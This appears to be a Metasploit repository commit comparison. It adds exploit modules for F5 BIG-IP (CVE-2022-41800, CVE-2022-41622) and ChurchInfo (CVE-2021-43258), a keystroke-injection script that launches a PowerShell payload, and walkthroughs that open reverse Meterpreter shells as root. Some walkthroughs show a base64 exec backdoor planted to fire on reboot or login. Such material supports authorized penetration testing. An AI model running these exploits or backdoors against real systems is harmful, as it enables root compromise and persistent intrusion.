Compare commits

..

39 Commits

Author SHA1 Message Date
adfoster-r7 0aa0884e26 Land #17296, add warning about external links 2022-11-24 10:30:44 +00:00
Metasploit c9ba07e3a7 automatic module_metadata_base.json update 2022-11-23 17:20:29 -06:00
Spencer McIntyre 6350daf2d8 Land #17273, F5 exploit module CVE-2022-41800
F5 exploit module CVE-2022-41800 (authenticated RCE in RPM code)
2022-11-23 17:57:18 -05:00
Jeffrey Martin 453cfc5939 spelling change per review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-11-23 13:26:19 -06:00
Ron Bowes cbb50ed902 Remove non-functioning Arch'es 2022-11-23 10:42:07 -08:00
Jeffrey Martin cb8e023734 add warning about external links
Links to external resources not controlled by the project maintainers
are subject to bitrot and malicious take over. Warnings seem appropriate.
2022-11-23 12:08:05 -06:00
Spencer McIntyre 45391b1714 Land #17279, ducky-script format for msfvenom
ducky-script format for msfvenom (flipper zero compatible)
2022-11-23 09:05:57 -05:00
h00die b866917ee1 review 2022-11-22 16:57:01 -05:00
Spencer McIntyre 2265370c5f Land #17288, Add #bit_names to MsDtypAccessMask
Support for Windows Access mask to MsDtypAccessMask
2022-11-22 09:01:16 -05:00
Metasploit 0af1f95f5a automatic module_metadata_base.json update 2022-11-22 06:52:15 -06:00
adfoster-r7 6446c1425b Land #17283, enum_psk: Cleanup 2022-11-22 12:28:55 +00:00
adfoster-r7 6c76fd7beb Land #17284, modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-22 11:55:47 +00:00
adfoster-r7 390e58958c Land #17285, tor_hiddenservices - check locate command exists
: Check locate command exists
2022-11-22 11:42:50 +00:00
JustAnda7 28157b677b Support for Access Mask in MsDtypAccess 2022-11-22 04:50:54 -05:00
h00die 637ad5f809 make ducky more psh friendly 2022-11-21 17:55:48 -05:00
Spencer McIntyre de8a396b3a Land #17277, Fix python reverse http stager crash 2022-11-21 12:41:25 -05:00
bcoles 651dd68439 tor_hiddenservices: Check locate command exists 2022-11-21 01:07:50 +11:00
bcoles 2dbd2043ec modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-21 00:46:44 +11:00
bcoles ad36f28ec1 enum_psk: Cleanup 2022-11-21 00:28:34 +11:00
Metasploit 234949bff8 automatic module_metadata_base.json update 2022-11-18 19:52:50 -06:00
Grant Willcox 8ca7550062 Land #17257, Adding exploit for ChurchInfo 1.2.13-1.3.0 RCE (CVE-2021-43258) 2022-11-18 19:27:10 -06:00
Grant Willcox 237eb904d4 Add in fixes for documentation examples and then update the code to fix some bugs 2022-11-18 18:30:07 -06:00
Grant Willcox 713323f2cb Add in Docker setup documentation 2022-11-18 18:22:11 -06:00
Grant Willcox 85a6770973 Add additional checks, a check method, and fix up some doc errors 2022-11-18 18:22:06 -06:00
m4lwhere b9ecdb3bc2 Use TARGETURI, registered cleanup, implment cookie_jar, and perform response checks and documentation 2022-11-18 18:21:27 -06:00
m4lwhere a33a313544 Adding exploit for ChurchInfo 1.3.0 2022-11-18 18:21:08 -06:00
Metasploit 2f2708e3fd automatic module_metadata_base.json update 2022-11-18 16:42:50 -06:00
space-r7 3d5708e3e6 Land #17271, add f5 big-ip csrf exploit 2022-11-18 16:19:09 -06:00
space-r7 8b30ff3dce remove CmdStager inclusion 2022-11-18 16:18:25 -06:00
h00die 29b7fa5336 ducky_script format for msfvenom 2022-11-18 17:02:52 -05:00
Metasploit e43951158c automatic module_metadata_base.json update 2022-11-18 10:40:12 -06:00
bwatters 20e1788d97 Land #17145, Add hashes option and better error handling to wmiexec
Merge branch 'land-17145' into upstream-master
2022-11-18 10:16:33 -06:00
adfoster-r7 7dcf65d7c3 Fix python reverse http stager crash 2022-11-18 14:32:36 +00:00
Metasploit 39da40e4b5 Bump version of framework to 6.2.28 2022-11-17 12:21:32 -06:00
Ron Bowes 7ebf84c66b Add URLs 2022-11-16 12:20:37 -08:00
Ron Bowes 20e6c1b55e Add URLs 2022-11-16 12:19:16 -08:00
Ron Bowes d0e109b842 Check in exploit module for CVE-2022-41800 2022-11-16 12:04:18 -08:00
Ron Bowes 99e661cfcf Check in exploit script for CVE-2022-41622 (CSRF into SOAP) 2022-11-16 11:58:15 -08:00
Matthew Dunn 4cda8a9d23 Add hashes and better error handling to wmiexec 2022-10-15 16:42:30 -04:00
25 changed files with 1472 additions and 146 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.27)
metasploit-framework (6.2.28)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
+1 -1
View File
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.27, "New BSD"
metasploit-framework, 6.2.28, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
@@ -0,0 +1,14 @@
REM Title: Metasploit Generated Payload
REM Description: Opens a payload via powershell on the system
REM Version: 1.0
REM Open start menu
REM We use cmd.exe since the powershell payload is likely too long for the run bar
GUI r
DELAY 750
STRING cmd.exe
DELAY 750
ENTER
DELAY 750
STRING powershell.exe %{var_payload}
DELAY 750
ENTER
+195 -6
View File
@@ -45943,7 +45943,7 @@
],
"targets": null,
"mod_time": "2021-07-19 14:47:39 +0000",
"mod_time": "2022-10-15 16:42:30 +0000",
"path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py",
"is_install_path": true,
"ref_name": "scanner/smb/impacket/wmiexec",
@@ -61839,6 +61839,125 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800": {
"name": "F5 BIG-IP iControl Authenticated RCE via RPM Creator",
"fullname": "exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-11-16",
"type": "exploit",
"author": [
"Ron Bowes"
],
"description": "This module exploits a newline injection into an RPM .rpmspec file\n that permits authenticated users to remotely execute commands.\n\n Successful exploitation results in remote code execution\n as the root user.",
"references": [
"CVE-2022-41800",
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
"URL-https://support.f5.com/csp/article/K97843387",
"URL-https://support.f5.com/csp/article/K13325942"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Default"
],
"mod_time": "2022-11-23 10:42:07 +0000",
"path": "/modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb",
"is_install_path": true,
"ref_name": "linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622": {
"name": "F5 BIG-IP iControl CSRF File Write SOAP API",
"fullname": "exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-11-16",
"type": "exploit",
"author": [
"Ron Bowes"
],
"description": "This module exploits a cross-site request forgery (CSRF) vulnerability\n in F5 Big-IP's iControl interface to write an arbitrary file to the\n filesystem.\n\n While any file can be written to any location as root, the\n exploitability is limited by SELinux; the vast majority of writable\n locations are unavailable. By default, we write to a script that\n executes at reboot, which means the payload will execute the next time\n the server boots.\n\n An alternate target - Login - will add a backdoor that executes next\n time a user logs in interactively. This overwrites a file,\n but we restore it when we get a session\n\n Note that because this is a CSRF vulnerability, it starts a web\n server, but an authenticated administrator must visit the site, which\n redirects them to the target.",
"references": [
"CVE-2022-41622",
"URL-https://github.com/rbowes-r7/refreshing-soap-exploit",
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
"URL-https://support.f5.com/csp/article/K97843387",
"URL-https://support.f5.com/csp/article/K94221585",
"URL-https://support.f5.com/csp/article/K05403841"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Restart",
"Login",
"Custom"
],
"mod_time": "2022-11-18 16:18:25 +0000",
"path": "/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb",
"is_install_path": true,
"ref_name": "linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/flir_ax8_unauth_rce_cve_2022_37061": {
"name": "FLIR AX8 unauthenticated RCE",
"fullname": "exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061",
@@ -83808,6 +83927,67 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/churchinfo_upload_exec": {
"name": "ChurchInfo 1.2.13-1.3.0 Authenticated RCE",
"fullname": "exploit/multi/http/churchinfo_upload_exec",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-10-30",
"type": "exploit",
"author": [
"m4lwhere <m4lwhere@protonmail.com>"
],
"description": "This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.\n By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the\n ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and\n then browsing to the location of the uploaded PHP file on the web server, arbitrary code\n execution as the web daemon user (e.g. www-data) can be achieved.",
"references": [
"URL-http://www.churchdb.org/",
"URL-http://sourceforge.net/projects/churchinfo/",
"CVE-2021-43258"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic Targeting"
],
"mod_time": "2022-11-18 18:04:51 +0000",
"path": "/modules/exploits/multi/http/churchinfo_upload_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/churchinfo_upload_exec",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"CRASH_SAFE"
],
"Reliability": [
"REPEATABLE_SESSION"
],
"SideEffects": [
"ARTIFACTS_ON_DISK",
"IOC_IN_LOGS"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/cisco_dcnm_upload": {
"name": "Cisco Prime Data Center Network Manager Arbitrary File Upload",
"fullname": "exploit/multi/http/cisco_dcnm_upload",
@@ -205950,7 +206130,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-08-09 15:53:58 +0000",
"mod_time": "2022-11-21 00:46:44 +0000",
"path": "/modules/post/linux/gather/enum_network.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_network",
@@ -206003,7 +206183,7 @@
"needs_cleanup": null
},
"post_linux/gather/enum_psk": {
"name": "Linux Gather 802-11-Wireless-Security Credentials",
"name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials",
"fullname": "post/linux/gather/enum_psk",
"aliases": [
@@ -206014,7 +206194,7 @@
"author": [
"Cenk Kalpakoglu"
],
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from your target CLIENT Linux\n machine using /etc/NetworkManager/system-connections/ files.\n The module gathers NetworkManager's plaintext \"psk\" information.",
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.",
"references": [
],
@@ -206024,7 +206204,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-21 00:28:34 +0000",
"path": "/modules/post/linux/gather/enum_psk.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_psk",
@@ -206032,6 +206212,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
@@ -206538,7 +206727,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2022-11-22 11:55:47 +0000",
"path": "/modules/post/linux/gather/tor_hiddenservices.rb",
"is_install_path": true,
"ref_name": "linux/gather/tor_hiddenservices",
@@ -0,0 +1,61 @@
## Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
downloaded as a VMWare image for free (you have to create an account) from
https://downloads.f5.com. You can register for a free 30-day trial if you like,
but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.
## Verification Steps
1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800`
4. Do `set RHOST <target>` / `set HttpUsername admin` / `set HttpPassword <thepasswordyouchose>`
5. Do: `run`
6. You should get a session
## Options
### `HttpUsername` / `HttpPassword`
The account to authorize as - requires console access. The `admin` account (which
is the default `HttpUsername`) works great, if you have the password.
## Scenarios
### F5 Big-IP 17.0.0.1
This should be the normal experience:
```
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
HttpPassword => mybigippassword
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Creating an .rpmspec file on the target...
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[*] Building the RPM to trigger the payload...
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,217 @@
## Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
downloaded as a VMWare image for free (you have to create an account) from
https://downloads.f5.com. You can register for a free 30-day trial if you like,
but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.
## Verification Steps
This is a CSRF vuln, so it requires a browser in addition to msf:
1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622`
4. Do `set TARGET_HOST <target>` / `set LHOST <yourtest>`
5. Do: `run`
6. You should get a url such as: `http://10.0.0.179:8080/ddgjZO`
7. Open a browser and visit that URL
8. If you don't already have an HTTP Basic session, it'll ask for your credentials (the `admin` account from earlier works great)
## Options
### `TARGET_HOST` / `TARGET_URI` / `TARGET_SSL`
These are the target that the user will be redirected to
### `FILENAME`
If the `TARGET` is `2` (`Custom`), the file that will be overwritten with the payload
## Scenarios
### F5 Big-IP 17.0.0.1 - Target 0 (Restart)
Start the listener:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
[*] Server started.
```
Then, a legit user that has HTTP Basic authentication (or who can be tricked
into performing HTTP Basic authentication) needs to visit that URL. When any
user connects, they'll be redirected to the SOAP endpoint and you'll see:
```
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
[*] Server started.
[... wait for a user to visit the URL ...]
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
```
We have no way to tell whether this was successful; however, if we already have
access to the target (ie, if you're testing this), we can check if the file was
successfully planted:
```
[root@bigip:Active:Standalone] config # cat /shared/f5_update_action
UpdateAction
https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
https://localhost/error
0
0
0
0
```
The code planted there will activate at reboot. So, ...wait till the target
reboots. Perhaps when they update! Again, if you have shell access, you can
check the log file when it boots:
```
[root@bigip:INOPERATIVE:] config # tail -f /var/log/f5_update_checker.out
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file action: "UpdateAction"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Executing EM action: UpdateAction
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
[...wait 2 minutes...]
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Finished sleeping.
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Attempting to connect to EM server: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
```
And, on Metasploit:
```
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
[...wait 2 minutes...]
[*] Sending stage (40164 bytes) to 10.0.0.162
[+] Deleted /var/log/f5_update_checker.out
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:51388) at 2022-11-14 15:28:04 -0800
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root
```
### F5 Big-IP 17.0.0.1 - Target 1 (Login)
This works similarly.. use the module, set the `TARGET_HOST`, and set the
`TARGET` to `1`:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/ePg5ECHuVD
[*] Server started.
[...wait for an authenticated user to click the link...]
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
```
Once again, if you already have access, you can verify it worked:
```
[root@bigip:Active:Standalone] config # cat /etc/profile.d/timeout.sh
echo exec\(__import__\(\'base64\'\).b64decode[...]
```
Then, when a user logs in (ie, `ssh root@<target>` or on the console), you get
a session:
```
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
[...wait for a user to log in..]
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/run/config/timeout.sh
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:43902) at 2022-11-14 15:32:26 -0800
meterpreter > getuid
Server username: root
```
### F5 Big-IP 17.0.0.1 - Target 2 (Custom)
Once again, set up the server:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2
TARGET => 2
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule
FILENAME => /tmp/testmsfmodule
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/PLvOVjkiVvXX
[*] Server started.
[...wait for an admin to visit that link...]
[*] Redirecting the admin to overwrite /tmp/testmsfmodule with the payload
```
You can verify the file exists:
```
# cat /tmp/testmsfmodule
echo exec\(__import__\(\'base64\'\).b64decode[...]
```
Note that while this is written by root, you're in a pretty strict SELinux
context so most obvious attacks (like writing to /etc/profile.d, /root/.ssh,
etc., won't work).
@@ -19,6 +19,7 @@ For testing purposes, you can download a Github Enterprise image from the follow
This module was specifically tested against version 2.8.0, which can be downloaded here:
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
Before you install the image, you must have a valid key. Start from here:
@@ -2,8 +2,9 @@
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova
http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso
### Creating A Testing Environment
@@ -76,4 +77,4 @@ dns-nameservers 8.8.8.8
meterpreter > getuid
Server username: root
meterpreter >
```
```
@@ -9,6 +9,7 @@ performs remote code execution as root by abusing the *extract* function used in
### Testing Environment
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
Setup [Unraid 6.8.0](https://s3.amazonaws.com/dnld.lime-technology.com/stable/unRAIDServer-6.8.0-x86_64.zip)
according to the [UnRAID Getting Started](https://wiki.unraid.net/UnRAID_6/Getting_Started) guide.
@@ -0,0 +1,164 @@
## Vulnerable Application
* Project Homepage: http://www.churchdb.org/
* Project Download: https://sourceforge.net/projects/churchinfo/files/
ChurchInfo is an open source PHP application used to help churches manage systems and users of the church.
There are various vulnerabilities in the ChurchInfo software which can be exploited by an
attacker, however this module targets an authenticated remote code execution (RCE) vulnerability
known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).
ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
with attachments. When preparing the email, a draft of the attachment is saved into
`/tmp_attach/`, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
the attachment draft can be loaded in the application. By uploading a malicious PHP file
as an attachment and then browsing to it on the web server, RCE can be achieved.
This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time
of writing and there is presently no known patch for this issue.
### Installation
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.
The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker,
which should make it a lot easier to setup and also clean up once you are finished testing things out.
1. `wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz`
1. `tar -xvf churchinfo-1.3.0.tar.gz`
1. `sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7`.
1. `sudo docker ps -a` and find the container ID that was created and which is now running.
1. `sudo docker exec -it *container ID* /bin/bash`
1. Inside the new prompt:
1. `mysqladmin -u root -p create churchinfo` and press the ENTER key when prompted for the password.
1. `cd /app/churchinfo/SQL`
1. `mysql -u root -p churchinfo < Install.sql` and press the ENTER key when prompted for the password.
1. `apt-get install nano` if you want to use Nano.
1. `nano /app/churchinfo/Include/Config.php`.
1. Set the `$sUSER` variable to `'root'`.
1. Set the `$sPASSWORD` variable to `''`.
1. Set the `$sRootPath` variable to `'/churchinfo'`. This should be default though.
1. Set the `$URL[0]` to `http://localhost/churchinfo/Default.php`.
1. Exit out of `nano` and run `/etc/init.d/apache2 restart`
1. Log in at `http://127.0.0.1:9090/churchinfo/Default.php` with the username `Admin` and password `churchinfoadmin`.
1. This should cause the app to redirect to a password change form.
1. Specify the old password, aka `churchinfoadmin` and then specify the new password twice and submit the form.
1. Go to `http://127.0.0.1:9090/churchinfo/PersonEditor.php` and fill out the form with as much detail as possible.
1. Click "Save and Add".
## Verification Steps
This module requires authenticated access to the application. After identifying a vulnerable
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
entries within the database, it will not be possible to create a draft email. This draft email
will be used to place the malicious attachment into the `/tmp_attach` directory for our exploit.
1. Start `msfconsole`
1. `use exploit/multi/http/churchinfo_upload_exec`
1. Set the target `RHOST`, `APPBASE`, `USERNAME`, and `PASSWORD` values.
1. Optional: Set the target `RPORT` if the ChurchInfo server is running on a different port than port 80.
1. Optional: `set SSL true` if the target is using SSL for ChurchInfo.
1. Select the payload of choice or leave default.
1. Set the `LHOST` to your system.
1. Run the exploit with `run`, enjoy the shell!
## Options
There are a handful of options which can be used to further configure the attack or other environmental uses.
### USERNAME
The username of a valid user account for the ChurchInfo application. Default is `admin`.
### PASSWORD
The password for a valid user account for the ChurchInfo application. Default is `churchinfoadmin` based on documentation.
### APPBASE
The base directory path to the ChurchInfo application. This can and will likely
vary depending on how the application was installed. Default value is `/churchinfo/`.
### EMAIL_SUBJ
The subject of the draft email used for the exploit, the email is not sent. Default value is `Read this now!`.
### EMAIL_MESG
The message on the draft email which is used for the exploit. The email is not sent. Default value is `Hello there!`.
## Scenarios
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:
```
set verbose true
```
This will enable additional information and details about the exploit as it is launched.
### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
```
msf6 > use exploit/multi/http/churchinfo_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
RPORT => 9090
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
PASSWORD => testing123
msf6 exploit(multi/http/churchinfo_upload_exec) > show options
Module options (exploit/multi/http/churchinfo_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL_MESG Hello there! yes Email message in webapp
EMAIL_SUBJ Read this now! yes Email subject in webapp
PASSWORD testing123 yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /churchinfo/ yes The location of the ChurchInfo app
USERNAME admin yes Username for ChurchInfo application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.30.182.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
LHOST => docker0
